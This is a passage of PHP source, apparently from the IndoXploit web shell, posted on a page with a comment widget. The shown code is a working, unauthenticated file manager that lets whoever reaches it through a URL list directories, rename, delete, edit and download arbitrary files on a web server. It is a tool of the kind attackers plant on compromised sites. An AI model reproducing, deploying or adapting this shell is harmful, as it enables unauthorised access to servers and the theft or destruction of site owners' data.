  1285. if($_POST['do_rename']) {
  1286. $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  1287. if($rename) {
  1288. $act = "<script>window.location='?dir=".$dir."';</script>";
  1289. } else {
  1290. $act = "<font color=red>permission denied</font>";
  1291. }
  1292. echo "".$act."<br>";
  1293. }
  1294. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  1295. echo "<form method='post'>
  1296. <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  1297. <input type='submit' name='do_rename' value='rename'>
  1298. </form>";
  1299. } elseif($_GET['act'] == 'delete') {
  1300. $delete = unlink($_GET['file']);
  1301. if($delete) {
  1302. $act = "<script>window.location='?dir=".$dir."';</script>";
  1303. } else {
  1304. $act = "<font color=red>permission denied</font>";
  1305. }
  1306. echo $act;
  1307. } elseif(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  1308. @ob_clean();
  1309. $file = $_GET['file'];
  1310. header('Content-Description: File Transfer');
  1311. header('Content-Type: application/octet-stream');
  1312. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  1313. header('Expires: 0');
  1314. header('Cache-Control: must-revalidate');
  1315. header('Pragma: public');
  1316. header('Content-Length: ' . filesize($file));
  1317. readfile($file);
  1318. exit;
  1319. } else {
  1320. if(is_dir($dir) == true) {
  1321. echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  1322. <tr>
  1323. <th class="th_home"><center>Name</center></th>
  1324. <th class="th_home"><center>Type</center></th>
  1325. <th class="th_home"><center>Size</center></th>
  1326. <th class="th_home"><center>Last Modified</center></th>
  1327. <th class="th_home"><center>Permission</center></th>
  1328. <th class="th_home"><center>Action</center></th>
  1329. </tr>';
  1330. $scandir = scandir($dir);
  1331. foreach($scandir as $dirx) {
  1332. $dtype = filetype("$dir/$dirx");
  1333. $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  1334. if(!is_dir("$dir/$dirx")) continue;
  1335. if($dirx === '..') {
  1336. $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  1337. } elseif($dirx === '.') {
  1338. $href = "<a href='?dir=$dir'>$dirx</a>";
  1339. } else {
  1340. $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  1341. }
  1342. if($dirx === '.' || $dirx === '..') {
  1343. $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  1344. } else {
  1345. $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  1346. }
  1347. echo "<tr>";
  1348. echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  1349. echo "<td class='td_home'><center>$dtype</center></td>";
  1350. echo "<td class='td_home'><center>-</center></th>";
  1351. echo "<td class='td_home'><center>$dtime</center></td>";
  1352. echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  1353. echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  1354. }
  1355. echo "</tr>";
  1356. foreach($scandir as $file) {
  1357. $ftype = filetype("$dir/$file");
  1358. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  1359. $size = filesize("$dir/$file")/1024;
  1360. $size = round($size,3);
  1361. if($size > 1024) {
  1362. $size = round($size/1024,2). 'MB';
  1363. } else {
  1364. $size = $size. 'KB';
  1365. }
  1366. if(!is_file("$dir/$file")) continue;
  1367. echo "<tr>";
  1368. echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  1369. echo "<td class='td_home'><center>$ftype</center></td>";
  1370. echo "<td class='td_home'><center>$size</center></td>";
  1371. echo "<td class='td_home'><center>$ftime</center></td>";
  1372. echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  1373. echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  1374. }
  1375. echo "</tr></table><hr>";
  1376. } else {
  1377. echo "<font color=red>can't open directory</font>";
  1378. }
  1379. echo "<center>Copyright &copy; ".date("Y")." - <a href='http://forum.indoxploit.or.id/' target='_blank'><font color=lime>IndoXploit</font></a></center>";
  1380. }
  1381. ?>
  1382. </html>
comments powered by Disqus